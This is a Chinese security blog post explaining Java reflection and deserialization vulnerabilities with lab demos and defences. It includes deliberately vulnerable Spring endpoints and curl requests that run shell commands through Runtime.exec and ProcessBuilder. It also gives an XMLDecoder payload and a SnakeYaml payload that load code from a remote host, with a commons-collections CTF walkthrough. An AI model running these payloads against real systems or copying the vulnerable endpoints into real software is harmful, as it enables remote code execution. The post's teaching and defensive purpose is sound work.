大数跨境
0
0

浅谈Java反射、反序列化漏洞

浅谈Java反射、反序列化漏洞 渗透测试安全攻防
2025-11-15
0

关注并星标🌟 一起学安全❤️

作者:coleak  

首发于公号:渗透测试安全攻防 

字数:35060

声明:仅供学习参考,请勿用作违法用途


目录

  • 前记
  • 反射
  • 反序列化
    • 基础知识
    • 靶场练习
    • 防御手段
  • 后记
  • Reference


前记

JAVA在反射和反序列化下的安全笔记📒

反射

反射可以实现在运行时可以知道任意一个类的属性和方法,通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等

正常:
静态方法:类名.方法名
函数方法:对象.方法名

反射(invoke):
方法名.invoke(类名,参数)
静态方法:方法名.invoke(null,参数)
函数方法:方法名.invoke(对象,参数)

常见操作

  1. 获取类:
    • Class.forName(className):通过类名加载类。
    • obj.getClass():通过已实例化对象来获取其类。
    • Test.class:如果类已经加载,可以直接通过.class属性来获取。
  2. 实例化对象:
    • 类必须要有无参构造函数
    • 类的构造函数不能是私有的
    • clazz.newInstance():通过反射创建类的实例,使用这个函数的时候默认会调用无参数的构造函数
    • clazz.getDeclaredConstructor().newInstance()
  3. 获取方法并执行:
    • clazz.getMethod(methodName):通过反射获取类中的方法。
    • method.invoke(clazz.newInstance()):调用获取到的方法。

分别对应下面的操作:

1、获取类

    public static void main(String[] args) throws ClassNotFoundException {
        Class c1 = HellosecApplication.class;
        System.out.println(c1.getName());

        // 实例化对象的getClass()方法
        HellosecApplication demo = new HellosecApplication();
        Class c2 = demo.getClass();
        System.out.println(c2.getName());

        // Class.forName(String className): 动态加载类
        Class c3 = Class.forName("com.example.hellosec.HellosecApplication");
        System.out.println(c3.getName());
        SpringApplication.run(HellosecApplication.classargs);
    }

com.example.hellosec.HellosecApplication

2、获取成员变量

    String number="cc";
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Class c1 = HellosecApplication.class;
        System.out.println(c1.getName());
        Field get_number =c1.getDeclaredField("number");
        HellosecApplication instance = new HellosecApplication();
        System.out.println(get_number.get(instance));
        SpringApplication.run(HellosecApplication.classargs);
    }

Field[] getFields() :获取所有public修饰的成员变量

Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符

Field getField(String name) 获取指定名称的 public修饰的成员变量

Field getDeclaredField(String name) 获取指定的成员变量

3、获取成员方法

public class HellosecApplication {
    String number = "cc";

    // 添加 secret 方法,接受 String 参数并返回 String
    public String secret(String input) {
        return String.format("Secret: %s", input);
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException {
        // 获取类对象
        Class<?> c1 = HellosecApplication.class;
//        Class c1 = Class.forName("com.example.hellosec.HellosecApplication");
        System.out.println(c1.getName()); // 输出: com.example.hellosec.HellosecApplication

        // 获取 number 字段并访问其值
        Field get_number = c1.getDeclaredField("number");
        Object instance = c1.newInstance();
        get_number.setAccessible(true); // 允许访问私有字段
        System.out.println("Field value: " + get_number.get(instance)); // 输出: Field value: cc

        // 获取并调用 secret 方法
        Method m1 = c1.getMethod("secret", String.class)// secret 是公共方法
        String result = (String) m1.invoke(instance, "cc");
        System.out.println(result); // 输出: Secret: cc

        SpringApplication.run(HellosecApplication.classargs);
    }
}

反射RCE

如果用户可控一些反射参数,则可能存在RCE风险

package com.example.hellosec;

public class TestTarget {
    public TestTarget() {
        System.out.println("TestTarget 实例已创建。");
    }

    public String sayHello() {
        return "Hello from TestTarget via Reflection!";
    }
}

package com.example.hellosec;
import org.springframework.web.bind.annotation.*;
import java.lang.reflect.Method;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;

/**
 * 反射调用示例接口
 */

@RestController
@RequestMapping("/api/reflection")
public class ReflectionController {

    /**
     * 接收类名和方法名,通过反射调用该类的无参实例方法。
     * * @param className 要调用的类的全限定名 (例如: com.example.hellosec.MyExampleClass)
     * @param methodName 要调用的方法名 (假设是无参数方法)
     * @return 方法调用的结果或错误信息
     */

    @PostMapping("/invoke")
    public String invokeMethod(
            @RequestParam String className,
            @RequestParam String methodName)
 
{

        // 🚨 安全提示:此处的逻辑应受到严格的安全限制 (如白名单检查)
        System.out.println("尝试反射调用 -> 类: " + className + ", 方法: " + methodName);

        try {
            // 1. 获取类
            Class<?> clazz = Class.forName(className);

            // 2. 创建实例 (假设该类存在无参构造函数)
            // 💡 如果您想调用静态方法,可以跳过此步骤,并将 method.invoke(instance, null),改为 method.invoke(null, null)。
            Object instance = clazz.getDeclaredConstructor().newInstance();

            // 3. 获取方法 (假设是无参方法)
            // getMethod() 只能获取 public 方法,若需调用 private 方法,请使用 getDeclaredMethod() 并设置 setAccessible(true)。
            Method method = clazz.getMethod(methodName);

            // 4. 调用方法 (无参数)
            Object result = method.invoke(instance);

            // 5. 返回结果
            String resultStr = (result != null) ? result.toString() : "null (void方法或返回null)";
            return "✅ 方法 [" + methodName + "] 在类 [" + className + "] 上成功调用。结果: " + resultStr;

        } catch (ClassNotFoundException e) {
            return "❌ 错误:未找到类 [" + className + "]";
        } catch (NoSuchMethodException e) {
            return "❌ 错误:类 [" + className + "] 中未找到无参方法 [" + methodName + "] 或该方法不是 public";
        } catch (InvocationTargetException e) {
            // 捕获被调用方法内部抛出的异常
            return "❌ 错误:方法 [" + methodName + "] 执行时内部抛出异常: " + e.getTargetException().getMessage();
        } catch (Exception e) {
            // 捕获其他反射或实例化相关的异常
            return "❌ 调用过程中发生其他错误: " + e.getMessage();
        }
    }
}

http://localhost:8080/api/reflection/invoke
POST:className=com.example.hellosec.TestTarget&methodName=sayHello

✅ 方法 [sayHello] 在类 [com.example.hellosec.TestTarget] 上成功调用。结果: Hello from TestTarget via Reflection!

package com.example.hellosec;

import org.springframework.web.bind.annotation.*;
import java.lang.reflect.Method;
import java.util.Map;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import org.springframework.web.bind.annotation.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.List;
import java.io.BufferedReader;
import java.io.InputStreamReader;
@RestController
@RequestMapping("/api/rce")
public class RceController {
    @PostMapping("/dangerous")
    public Object dangerousReflection(@RequestBody Map<String, String> params) {
        try {
            String className = params.get("className");
            String staticMethod = params.get("staticMethod");
            String instanceMethod = params.get("instanceMethod");
            String param = params.get("param");

            // 动态反射调用
            Class<?> clazz = Class.forName(className);
            Method getInstanceMethod = clazz.getMethod(staticMethod);
            Object instance = getInstanceMethod.invoke(null);

            Method execMethod = clazz.getMethod(instanceMethod, String.class);
            Process process = (Process) execMethod.invoke(instance, param);

            // 读取输出
            BufferedReader reader = new BufferedReader(
                    new InputStreamReader(process.getInputStream())
            );
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }

            return "✅ 危险反射执行成功:\n" + output.toString();

        } catch (Exception e) {
            return "❌ 错误: " + e.getMessage();
        }
    }


    @PostMapping("/bypass")
    public Object bypassReflection(@RequestBody Map<String, Object> params) {
        try {
            // 从请求中获取类名、命令列表、方法名
            String className = (String) params.get("className"); // 如: java.lang.ProcessBuilder
            java.util.List<String> commands = (java.util.List<String>) params.get("commands");
            String methodName = (String) params.get("methodName"); // 如: start

            if (className == null || commands == null || commands.isEmpty() || methodName == null) {
                return "❌ 参数缺失: 需要 className, commands[], methodName";
            }

            // 1. 动态加载类
            Class<?> pbClass = Class.forName(className);

            // 2. 创建 ProcessBuilder 实例(通过 List 构造器)
            Object pbInstance = pbClass.getConstructor(java.util.List.class).newInstance(commands);

            // 3. 获取方法(即使是 public,也用 getDeclaredMethod 演示绕过)
            Method startMethod = pbClass.getDeclaredMethod(methodName);
            startMethod.setAccessible(true); // 绕过访问控制

            // 4. 执行 start 方法
            Process process = (Process) startMethod.invoke(pbInstance);

            // 5. 读取输出
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }

            reader.close();
            return "✅ 绕过反射执行成功:\n" + output.toString();

        } catch (Exception e) {
            return "❌ 错误: " + e.getMessage() + "\n" + java.util.Arrays.toString(e.getStackTrace());
        }
    }
    @PostMapping("/dangerous-pb")
    public Object dangerousProcessBuilder(@RequestBody Map<String, Object> params) {
        try {
            String className = (String) params.get("className");
            List<String> constructorParamTypes = (List<String>) params.get("constructorParamTypes");
            List<Object> constructorArgs = (List<Object>) params.get("constructorArgs");
            String methodName = (String) params.get("methodName");
            List<String> methodParamTypes = (List<String>) params.get("methodParamTypes");

            // 1. 动态加载类
            Class<?> clazz = Class.forName(className);

            // 2. 准备构造函数的参数类型
            Class<?>[] pTypes = new Class<?>[constructorParamTypes.size()];
            for (int i = 0; i < constructorParamTypes.size(); i++) {
                pTypes[i] = Class.forName(constructorParamTypes.get(i));
            }

            // 3. 获取构造函数并创建实例
            Constructor<?> constructor = clazz.getConstructor(pTypes);
            Object instance = constructor.newInstance(constructorArgs.toArray());

            // 4. 准备方法的参数类型
            Class<?>[] mTypes = new Class<?>[methodParamTypes.size()];
            for (int i = 0; i < methodParamTypes.size(); i++) {
                mTypes[i] = Class.forName(methodParamTypes.get(i));
            }

            // 5. 获取方法并调用
            Method method = clazz.getMethod(methodName, mTypes);
            Process process = (Process) method.invoke(instance, (Object[]) null); // start()方法无参数

            // 6. 读取输出
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }

            return "✅ " + className + " 执行成功:\n" + output.toString();

        } catch (Exception e) {
            // 为了调试,打印完整的堆栈跟踪
            // e.printStackTrace();
            return "❌ 错误: " + e.getMessage();
        }
    }
}

curl -X POST "http://localhost:8080/api/rce/bypass" \
  -H "Content-Type: application/json" \
  -d '{
    "className": "java.lang.ProcessBuilder",
    "commands": ["ls", "-al"],
    "methodName": "start"
  }'

    
curl -X POST "http://localhost:8080/api/rce/dangerous" \
  -H "Content-Type: application/json" \
  -d '{                                                             
    "className":"java.lang.Runtime",
    "staticMethod":"getRuntime",
    "instanceMethod":"exec",
    "param":"uname -a"
  }'

    
    curl -X POST "http://localhost:8080/api/rce/dangerous-pb" \
  -H "Content-Type: application/json" \
  -d '{
        "className": "java.lang.ProcessBuilder",
        "constructorParamTypes": ["java.util.List"],
        "constructorArgs": [["/bin/sh", "-c", "echo PWNED_BY_PB && whoami"]],
        "methodName": "start",
        "methodParamTypes": []
      }'

安全编码:

措施
说明
禁用反射 RCE
使用 SecurityManager 或 JVM 参数限制反射: -Djava.security.manager + 自定义策略文件
限制类加载
禁止加载 java.lang.Runtime, ProcessBuilder 等危险类
参数白名单校验
所有 className 必须在白名单中
禁止 setAccessible(true)
使用 ReflectPermission 限制
使用沙箱容器
如 gVisor、Kata Containers
日志审计
监控 Class.forName, getMethod, invoke 调用

反序列化

基础知识

Java序列化是指把Java对象转换为字节序列的过程;Java反序列化是指把字节序列恢复为Java对象的过程;

一个对象要想序列化,必须满足两个条件:

  • 该类必须实现 java.io.Serializable 接口。
  • 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。( transient 修饰的字段不会被序列化)

序列化的数据流以魔术数字和版本号开头,AC ED 00 05是常见的序列化数据开始(base64 编码的特征为 rO0AB)

protected void writeStreamHeader() throws IOException {
     bout.writeShort(STREAM_MAGIC);//STREAM_MAGIC (2 bytes) 0xACED
     bout.writeShort(STREAM_VERSION);//STREAM_VERSION (2 bytes) 5
    }
ACED0005 73720020 636F6D2E 6578616706C652E 68656C6C 6F736563 2E556E73 61666543 6C617373 1F47134E 55939198 020001400046E61 6D657400 124C6A61 76612F6C 616E672F 53747269 6E673B78 70740012 6F70656E 202D6120 43616C63 756C6174 6F72

开发时产生的反序列化漏洞常见的有以下几种情况:

  1. 重写ObjectInputStream对象的resolveClass方法中的检测可被绕过。
  2. 使用第三方的类进行黑名单控制。虽然Java的语言严谨性要比PHP强的多,但在大型应用中想要采用黑名单机制禁用掉所有危险的对象几乎是不可能的。因此,如果在审计过程中发现了采用黑名单进行过滤的代码,多半存在一两个‘漏网之鱼’可以利用。并且采取黑名单方式仅仅可能保证此刻的安全,若在后期添加了新的功能,就可能引入了新的漏洞利用方式。所以仅靠黑名单是无法保证序列化过程的安全的。

常见的sink点和危险库

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9

Demo代码

package com.example.hellosec;

import java.io.*;
public class HellosecApplication{
    public static void main(String args[]) throws Exception{

        UnsafeClass Unsafe = new UnsafeClass();
        Unsafe.name = "open -a Calculator";

        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(Unsafe);
        os.close();
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}

class UnsafeClass implements Serializable{
    public String name;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        in.defaultReadObject();
        Runtime.getRuntime().exec(name);
    }
}

靶场练习

ez_java_serialize

<java.version>1.8</java.version>
<dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
</dependency>
package com.bugku.ez_unserialize.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;


@RestController

public class helloController {

    @RequestMapping("/hello{name}")
    public String hello(@RequestParam("name") String serialStr){
        try {
            deserialize(Base64.getDecoder().decode(serialStr)); //模拟存在反序列化的点
        } catch (IOException e) {
            e.printStackTrace();
            return "something is wrong";
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
        return "2333";
    }


    public  Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }

}

commons-collections3.1,工具一把梭

java -jar /Users/coleak/Downloads/deswing.jar

导出base64后url编码即可

Hello-Java-Sec

XMLDecoder.readObject

    @ApiOperation(value = "vul: XMLDecoder反序列化", notes = "XMLDecoder类的readObject()方法执行反序列化操作")
    @GetMapping("/vul")
    public void vul() {
        File file = new File(path);
        FileInputStream fis = null;
        try {
            fis = new FileInputStream(file);
        } catch (Exception e) {
            e.printStackTrace();
        }
        BufferedInputStream bis = new BufferedInputStream(fis);
        XMLDecoder xmlDecoder = new XMLDecoder(bis);
        xmlDecoder.readObject();
        xmlDecoder.close();
    }

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_xxx" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>curl</string>
            </void>
            <void index="1">
                <string>192.168.1.28</string>
            </void>
            <void index="2">
                <string></string>
            </void>
        </array>
        <method name="start"/>
    </object>
</java>

Yaml.load

    @ApiOperation(value = "vul:SnakeYaml 反序列化漏洞")
    @PostMapping("/vul")
    public void vul(String content) {
        Yaml y = new Yaml();
        y.load(content);
        log.info("[vul] SnakeYaml反序列化: {}", content);
    }
content=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.1.28"]]]]

防御手段

安全编码

       public String safe(String base64) {
        try {
            log.info("[safe] 执行反序列化");
            base64 = base64.replace(" ""+");

            byte[] bytes = Base64.getDecoder().decode(base64);

            ByteArrayInputStream stream = new ByteArrayInputStream(bytes);

            // 使用 ValidatingObjectInputStream,只允许反序列化Student class
            ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);
            ois.accept(Student.class);
            ois.readObject();
            return "ValidatingObjectInputStream";
        } catch (Exception e) {
            return e.toString();
        }
    }
   
       public void safe() throws IOException, ClassNotFoundException {
        File file = new File(path);
        FileInputStream fis = null;
        try {
            fis = new FileInputStream(file);
        } catch (Exception e) {
            e.printStackTrace();
        }

        BufferedInputStream bis = new BufferedInputStream(fis);
        ObjectInputStream ois = new ObjectInputStream(bis);
        Object obj = ois.readUnshared();
        ois.close();
    }
   
   public void safe(String content) {
        // SafeConstructor 是 SnakeYaml 提供的一个安全的构造器。它可以用来构造安全的对象,避免反序列化漏洞的发生。
        try {
            Yaml y = new Yaml(new SafeConstructor());
            y.load(content);
            log.info("[safe] SnakeYaml反序列化: {}", content);
        } catch (Exception e) {
            log.warn("[error] SnakeYaml反序列化失败", e);
        }

    }

Hook resolveClass

package com.example.hellosec;

import java.io.*;

public class AntObjectInputStream extends ObjectInputStream {
    public AntObjectInputStream(InputStream inputStream)
            throws IOException 
{
        super(inputStream);
    }

    /**
     * 只允许反序列化SerialObject class
     */

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
            ClassNotFoundException {
        if (!desc.getName().equals(HellosecApplication.class.getName())) {
            throw new InvalidClassException(
                    "Unauthorized deserialization attempt",
                    desc.getName());
        }
        return super.resolveClass(desc);
    }
}

后记

切换java版本

brew install jenv
echo 'eval "$(jenv init -)"' >> ~/.zshrc  # 如果你使用的是 Zsh
echo 'eval "$(jenv init -)"' >> ~/.bash_profile  # 如果你使用的是 Bash
source ~/.zshrc  # 使配置生效
brew install java11
sudo ln -sfn /opt/homebrew/opt/openjdk@11/libexec/openjdk.jdk /Library/Java/JavaVirtualMachines/openjdk-11.jdk
jenv add /opt/homebrew/Cellar/openjdk@11/11.0.29/libexec/openjdk.jdk/Contents/Home
jenv global 11  # 切换到全局 Java 11 版本
jenv local 1.8    # 为当前目录及子目录设置 Java 1.8 版本

Reference

https://g0dam.github.io/2024/11/12/WebSecurity/codeaudit/javasec/
https://xz.aliyun.com/news/8621
https://lycshub.github.io/2021/11/05/%E4%BB%8EJava%E5%8F%8D%E5%B0%84%E6%9C%BA%E5%88%B6%E5%88%B0RCE/
https://assass1n.cn/2025/05/11/Java%E5%8F%8D%E5%B0%84RCE/index.html
https://cryin.github.io/blog/secure-development-java-deserialization-vulnerability/
https://xz.aliyun.com/news/1744
https://www.cnblogs.com/yyhuni/p/14755940.html
https://yinwc.github.io/2020/02/08/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.cnblogs.com/EddieMurphy-blogs/p/18166529
https://ctf.bugku.com/challenges/detail/id/325.html
https://l1uyun.one/posts/javasec-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

【声明】内容源于网络
0
0
渗透测试安全攻防
分享一些web安全、代码审计、渗透测试、红队攻防、漏洞复现、CTF以及个人经验。成分复杂,期待和各位师傅一起进步
内容 175
粉丝 0
渗透测试安全攻防 分享一些web安全、代码审计、渗透测试、红队攻防、漏洞复现、CTF以及个人经验。成分复杂,期待和各位师傅一起进步
总阅读22
粉丝0
内容175